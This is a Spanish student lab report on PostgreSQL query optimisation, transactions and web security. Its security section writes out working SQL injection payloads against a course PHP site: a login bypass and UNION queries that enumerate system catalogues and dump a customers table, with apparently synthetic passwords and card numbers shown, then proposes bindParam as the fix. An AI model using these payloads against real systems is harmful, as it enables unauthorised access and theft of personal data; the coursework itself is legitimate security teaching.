

Sistemas Informáticos I: Práctica 4

Sergio Fuentes de Uña — Daniel Perdices Burrero

20 de diciembre de 2016

Índice

1. Optimización	3
1.1. Ejercicio A: Estudio del impacto de un índice	3
1.2. Ejercicio B: Estudio del impacto de preparar sentencias SQL	3
1.3. Ejercicio C: Estudio del impacto de cambiar la forma de realizar una consulta	4
1.4. Ejercicio D: Estudio del impacto de la generación de estadísticas	4
2. Transacciones y <i>deadlocks</i>	5
2.1. Ejercicio E: Realización de una página PHP <code>borraCliente.php</code>	5
2.2. Ejercicio F: Estudio de bloqueos y deadlocks	5
3. Seguridad	5
3.1. Ejercicio G: Acceso indebido a un sitio web	5
3.2. Ejercicio H: Acceso indebido a información	5
3.2.1. Hallar el nombre de las tablas	5
3.2.2. Identificar los atributos de una tabla	7
3.2.3. Solución y mejoras	8

1. Optimización

1.1. Ejercicio A: Estudio del impacto de un índice

En el *script* `clientesDistintos.sql` se incluyen las sentencias necesarias para estudiar los planes de ejecución, tanto antes como después de la creación de un índice. Se ha comprobado que la columna `totalamount` de la tabla `clientorders` es la única indización que produce mejoras en la planificación de las consultas. Esto es así debido a que el filtrado exhaustivo de las consultas se realiza contra este campo `totalamount`.

Sin índice, se obtiene el siguiente resultado:

```
Aggregate (cost=4583.49..4583.50 rows=1 width=8)
-> Nested Loop (cost=0.29..4583.49 rows=1 width=4)
    -> Seq Scan on clientorders (cost=0.00..4575.17 rows=1 width=4)
        Filter: ((totalamount > '100'::numeric) AND (date_part('month'::text, date) = '3'::double precision) AND (date_part('year'::text, date) = '2013'::double precision))
    -> Index Only Scan using customers_pkey on customers (cost=0.29..8.30 rows=1 width=4)
        Index Cond: (customerid = clientorders.customerid)
```

Con índice, resulta lo siguiente:

```
Aggregate (cost=3273.05..3273.06 rows=1 width=8)
-> Nested Loop (cost=925.28..3273.04 rows=1 width=4)
    -> Bitmap Heap Scan on clientorders (cost=925.00..3264.73 rows=1 width=4)
        Recheck Cond: (totalamount > '100'::numeric)
        Filter: ((date_part('month'::text, date) = '3'::double precision) AND (date_part('year'::text, date) = '2013'::double precision))
    -> Bitmap Index Scan on idx1 (cost=0.00..925.00 rows=49677 width=0)
        Index Cond: (totalamount > '100'::numeric)
    -> Index Only Scan using customers_pkey on customers (cost=0.29..8.30 rows=1 width=4)
        Index Cond: (customerid = clientorders.customerid)
```

Puede apreciarse una notable mejora en la planificación indizada: 3273.06 frente a 4583.50 de coste total.

Nota: Adicionalmente, podrían llegar a aparecer mejoras relacionada con el campo `date` si se creasen índices por mes y año, empleando éstos en lugar de la función `date_part` para el filtrado. Sin embargo, este planteamiento supondría una reestructuración de las consultas y se omite por simplicidad.

1.2. Ejercicio B: Estudio del impacto de preparar sentencias SQL

Se ha implementado la página PHP `listaClientesMes.php` con la funcionalidad solicitada y se ha ejecutado la consulta mediante los dos métodos sugeridos:

- Empleando `query()` para realizar cada consulta y concatenando el umbral mediante PHP.
- Empleando `prepare()` y `bindParam()` para crear sentencias preparadas con el parámetro umbral.

Los tiempos de ejecución resultantes son los siguientes:

Sin índice		Con índice	
Tiempo: 9533.04 ms Nueva consulta	Tiempo: 9300.47 ms Usando prepare Nueva consulta	Tiempo: 3492.19 ms Nueva consulta	Tiempo: 3254.15 ms Usando prepare Nueva consulta

En ambos casos se observa un ligero aumento del rendimiento al utilizar los *prepared statements* de SQL.

1.3. Ejercicio C: Estudio del impacto de cambiar la forma de realizar una consulta

```
Seq Scan on customers (cost=3209.07..3743.23 rows=7046 width=4)
  Filter: (NOT (hashed SubPlan 1))
  SubPlan 1
    -> Seq Scan on clientorders (cost=0.00..3084.88 rows=49677 width=4)
        Filter: (totaloutcome > '0'::numeric)

HashAggregate (cost=4399.43..4401.43 rows=200 width=4)
  Group Key: customers.customerid
  Filter: (count(*) = 1)
  -> Append (cost=0.00..4080.57 rows=63770 width=4)
    -> Seq Scan on customers (cost=0.00..498.93 rows=14093 width=4)
    -> Seq Scan on clientorders (cost=0.00..3084.88 rows=49677 width=4)
        Filter: (totaloutcome > '0'::numeric)

HashSetOp Except (cost=0.00..4380.93 rows=14093 width=8)
  -> Append (cost=0.00..4221.51 rows=63770 width=8)
    -> Subquery Scan on "*SELECT* 1" (cost=0.00..639.86 rows=14093 width=8)
        -> Seq Scan on customers (cost=0.00..498.93 rows=14093 width=4)
    -> Subquery Scan on "*SELECT* 2" (cost=0.00..3581.64 rows=49677 width=8)
        -> Seq Scan on clientorders (cost=0.00..3084.88 rows=49677 width=4)
            Filter: (totaloutcome > '0'::numeric)
```

1.4. Ejercicio D: Estudio del impacto de la generación de estadísticas

Sin índice:

```
Aggregate (cost=11787.79..11787.80 rows=1 width=8)
  -> Seq Scan on clientbets (cost=0.00..11779.52 rows=3308 width=0)
      Filter: (outcome IS NULL)

Aggregate (cost=13441.92..13441.93 rows=1 width=8)
  -> Seq Scan on clientbets (cost=0.00..13433.65 rows=3308 width=0)
      Filter: (outcome = '0'::numeric)
```

Con índice:

```
Aggregate (cost=4893.70..4893.71 rows=1 width=8)
  -> Bitmap Heap Scan on clientbets (cost=66.06..4885.43 rows=3308 width=0)
      Recheck Cond: (outcome IS NULL)
          -> Bitmap Index Scan on idx2 (cost=0.00..65.23 rows=3308 width=0)
              Index Cond: (outcome IS NULL)

Aggregate (cost=4901.97..4901.98 rows=1 width=8)
  -> Bitmap Heap Scan on clientbets (cost=66.06..4893.70 rows=3308 width=0)
      Recheck Cond: (outcome = '0'::numeric)
          -> Bitmap Index Scan on idx2 (cost=0.00..65.23 rows=3308 width=0)
              Index Cond: (outcome = '0'::numeric)
```

Con ANALYZE:

```
Aggregate (cost=5.37..5.38 rows=1 width=8)
  -> Index Only Scan using idx2 on clientbets (cost=0.42..5.37 rows=1 width=0)
      Index Cond: (outcome IS NULL)

Aggregate (cost=14331.01..14331.02 rows=1 width=8)
  -> Seq Scan on clientbets (cost=0.00..13433.65 rows=358946 width=0)
      Filter: (outcome = '0'::numeric)
```

2. Transacciones y *deadlocks*

2.1. Ejercicio E: Realización de una página PHP borraCliente.php

2.2. Ejercicio F: Estudio de bloqueos y deadlocks

3. Seguridad

3.1. Ejercicio G: Acceso indebido a un sitio web

Para ambos casos basta con introducir en el campo Contraseña la siguiente cadena:

```
a' or '1'='1
```

Con ello lo que hará será formarse la siguiente consulta:

```
select * from customers where username='gatsby' and password='a' or '1'='1'
```

La cual siempre reporta la tabla entera de `customers`, validando el proceso de ingreso en la página.

Figura 1: *Login correcto*

Ejemplo de SQL injection: Login

Nombre:

Contraseña:

Resultado

Login correcto

1. First Name: tidily
Last Name: hah
2. First Name: cancan
Last Name: wadi

Se propone para evitar el ataque de tipo *SQLInjection* utilizar la función de PDO `bindParam` que ejecuta una validación (escapando caracteres especiales de SQL) y evita el poder realizar esto. Se encuentra la solución propuesta en el fichero `xLoginInjectionRepaired.php`

3.2. Ejercicio H: Acceso indebido a información

3.2.1. Hallar el nombre de las tablas

Basta con introducir el siguiente texto:

```
a' UNION SELECT relname from pg_class where '1'='1
```

Y se recibe una salida similar a esta:

```
pg_ts_parser_oid_index
pg_conversion_oid_index
pg_stat_user_indexes
pg_ts_dict
pg_amop
pg_toast_1255_index
pg_tablespace
[ ... ]
pg_language
usage_privileges
pg_toast_12214
pg_transform
pg_toast_2609
pg_cursors
```

```

transforms
pg_class
pg_statio_all_tables
pg_ts_template
sql_features
sql_implementation_info
pg_user_mapping_user_server_index
pg_collation
clientbets
pg_tables
pg_stat_archiver
pg_extension_oid_index
pg_largeobject

```

Salida completa en `tablas.html`

Realmente de la consulta solo se ha utilizado que la variable sustituida está al final, luego podemos unir el resultado con otra consulta, en este caso sobre las tablas de administración

Para centrarse en las tablas de interés es necesario encontrar el oid del *schema public*

Esto se logra fácilmente con la siguiente entrada en formulario:

```
a' union select oid || ' ' || nspname from pg_namespace where '1'='1
```

Retornando algo similar la página web:

```

99 pg_toast
11817 pg_toast_temp_1
2200 public
11 pg_catalog
12086 information_schema
11816 pg_temp_1

```

Salida completa en `oid_public.html`

Usando esto, es relativamente sencillo en la tabla anterior, recuperar las tablas de interés con la siguiente entrada:

```
a' union select oid || ' ' || relname || ' ' || relnamespace from pg_class where relnamespace =
    2200 and '1'='1
```

La cual devuelve:

```

20700 optionbet 2200
20690 clientorders_id_seq 2200
20706 options 2200
20723 clientorders_pkey 2200
20725 customers_pkey 2200
20727 customers_username_key 2200
20709 options_optionid_seq 2200
20721 clientbets_pkey 2200
20698 customers_customerid_seq 2200
20677 clientbets 2200
20715 bets_pkey 2200
20731 options_pkey 2200
20683 clientorders 2200
20675 categorias_categoriaid_seq 2200
20670 bets_betid_seq 2200
20717 categorias_categoria_key 2200
20667 bets 2200

```

```

20672 categorias 2200
20729 optionbet_pkey 2200
20719 categorias_pkey 2200
20692 customers 2200

```

Salida completa en `tablas_interes.html`

3.2.2. Identificar los atributos de una tabla

En este caso, se hallará el esquema de la tabla `customers`

En primer lugar se halla el oid de la tabla de interes. Si nos fijamos, la entrada anterior imprimía el oid de la tabla, por lo cual basta fijarse en el oid 20692.

Con este oid, se pretende buscar en la tabla `pg_attribute`. Para ello, se vuelve a realizar otra consulta con otra entrada:

```
a' union select attname || ' ' || attrelid from pg_attribute where attrelid=20692 and '1'='1
```

Y el resultado es:

```

address2 20692
creditcardexpiration 20692
address1 20692
cmin 20692
country 20692
age 20692
customerid 20692
xmin 20692
city 20692
password 20692
tableoid 20692
ctid 20692
credit 20692
state 20692
zip 20692
phone 20692
cmax 20692
region 20692
lastname 20692
email 20692
creditcard 20692
creditcardtype 20692
firstname 20692
username 20692
gender 20692
xmax 20692

```

Salida completa en `atributos_customer.html`

Por último, se utiliza esto para imprimir la lista de todos los clientes con todos sus datos usando la siguiente entrada:

```

a' union select address2 || ' ' || creditcardexpiration || ' ' || address1 || ' ' || cmin || ' ' ||
country || ' ' || age || ' ' || customerid || ' ' || xmin || ' ' || city || ' ' || password ||
' ' || tableoid || ' ' || ctid || ' ' || credit || ' ' || state || ' ' || zip || ' ' || phone
|| ' ' || cmax || ' ' || region || ' ' || lastname || ' ' || email || ' ' || creditcard || ' '
|| creditcardtype || ' ' || firstname || ' ' || username || ' ' || gender || ' ' || xmax from
customers where '1'='1

```

Lo que resulta en lo siguiente:

```
aachen cobain 201310 fish faggot 141 0 UK 41 8297 45422 rote brute 20692 (76,8) 21876 hustle
17898 +31 292723366 0 billet marc char.marc@gmail.com 4215223247965149 VISA char koch M 0
abacus danial 201401 babar ritual 224 0 Hong Kong 30 2565 45422 decree russia 20692 (170,18)
54584 beware 53132 +9 708173334 0 chou debark landis.debark@kran.com 4851574696347234
Mastercard landis souths2565 M 0
abacus former 201206 gilead votary 270 0 Morocco 35 7814 45422 lessen mort 20692 (255,36) 49677
lorene 46651 +32 848738180 0 aileen hecuba crick.hecuba@potmail.com 4515032501163616
Mastercard crick bow7814 M 0
abacus toasty 201204 toad ahab 66 0 Algeria 53 9796 45422 azania dix 20692 (287,26) 59212 veto
24135 +15 904018666 0 marsh ieev vetoes.ieev@kran.com 4380476712419911 American vetoes
unbred9796 M 0
abact kathie 201506 alvaro crunch 74 0 Yugoslavia 30 5165 45422 privy post 20692 (47,30) 21635
alarm 42222 +50 428443915 0 stem iran steve.iran@gmail.com 4083182254722984 American steve
eula M 0
abase yet 201202 amity sallow 269 0 Luxembourg 52 11425 45422 aiken coerce 20692 (314,16) 17808
wisdom 38695 +13 866839246 0 kalb punk nit.punk@kran.com 4972076376273655 Mastercard nit
shoal11425 F 0
```

[...]

Salida completa en `customers.html`

3.2.3. Solución y mejoras

Una combobox puede ser una solución aceptable para evitar al menos que un usuario ataque usando simplemente un navegador, sin embargo, no sigue siendo una solución segura, pues herramientas como `curl` permiten fácilmente construir peticiones `http` de cualquier tipo con cualquier valor en los campos enviados, luego sigue dejando abierta la posibilidad de un ataque mediante inyección de código.

La solución propuesta sigue pasando por dar una validación de las entradas recibidas en el servidor, usando `bindParam` o alguna validación propia. Esto evitaría estos ataques de manera completa.

No hay ninguna diferencia entre `GET` y `POST`, es cierto que `GET` envía los datos en la URL, luego es más fácil de ver y modificar con un navegador, pero lo enviado mediante `POST` sigue siendo visible mediante disectores de tráfico (e.g. los integrados en Wireshark) y perfectamente simulable mediante `curl`, por ejemplo. Nótese que el ataque realizado es independiente de si se utiliza `GET` o `POST`, pues se ha utilizado únicamente el navegador y el formulario para enviar datos, lo anterior solo aplica a casos en los cuales los campos incluyan validaciones y no dejen enviar desde el propio navegador ciertos valores.